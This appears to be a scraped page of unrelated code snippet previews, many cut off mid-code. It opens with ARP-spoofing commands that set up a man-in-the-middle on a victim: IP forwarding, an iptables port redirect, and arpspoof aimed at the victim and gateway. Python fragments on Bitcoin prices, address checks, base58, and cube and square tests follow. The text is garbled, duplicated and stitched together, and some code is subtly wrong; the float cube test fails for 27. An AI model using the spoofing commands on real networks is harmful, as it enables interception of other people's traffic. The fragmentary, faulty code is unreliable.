- Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
- Use
tmux
to run 2 instances ofarpspoof
:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
tmux
to run 2 instances of arpspoof
:arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
import urllib2 | |
import json | |
data = urllib2.urlopen("http://api.bitcoincharts.com/v1/weighted_prices.json") | |
def convert_to_bitcoin(amount, currency): | |
bitcoins = json.loads(data.read()) | |
converted = float(bitcoins[currency]["24h"]) * amount | |
print converted |
import base58 | |
import binascii | |
from hashlib import sha256 | |
# base58 src: https://github.com/keis/base58 | |
def verifyBTCaddr(addr): | |
try: | |
base58Decoder = base58.b58decode(addr).hex() | |
prefixAndHash = base58Decoder[:len(base58Decoder)-8] |
""" base58 encoding / decoding functions """ | |
import unittest | |
alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' | |
base_count = len(alphabet) | |
def encode(num): | |
""" Returns num in a base58-encoded string """ | |
encode = '' | |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
text = "a♥O◘♦♥O◘♦" | |
try: | |
try: | |
stat = text.decode('ascii') | |
except UnicodeDecodeError: | |
stat = False |
def is_cube(n): | |
return (n**(1.0/3))%1==0 | |
print(is_cube(28)) | |
print(is_cube(27)) | |
print(is_cube(10)) | |
print(is_cube(8)) | |
print(is_cube(3)) |
def near_cube(num): | |
for i in range(num,0,-1): | |
if (i**(1.0/3))%1==0: # if perfect cube | |
break | |
return i | |
print(near_cube(730)) | |
print(near_cube(729)) | |
print(near_cube(29)) |
def is_square(n): | |
return (n**(1.0/2))%1==0 | |
print(is_square(25)) | |
print(is_square(24)) | |
print(is_square(8)) | |
print(is_square(2)) | |
print(is_square(1)) |
def near_square(n): | |
for i in range(n,0,-1): | |
if (i**(1.0/2))%1==0: # if perfect square | |
break | |
return i | |
print(near_square(26)) | |
print(near_square(10)) | |
print(near_square(9)) |
#!/usr/bin/python | |
import sys | |
import time | |
try: | |
import urllib | |
except ImportError: |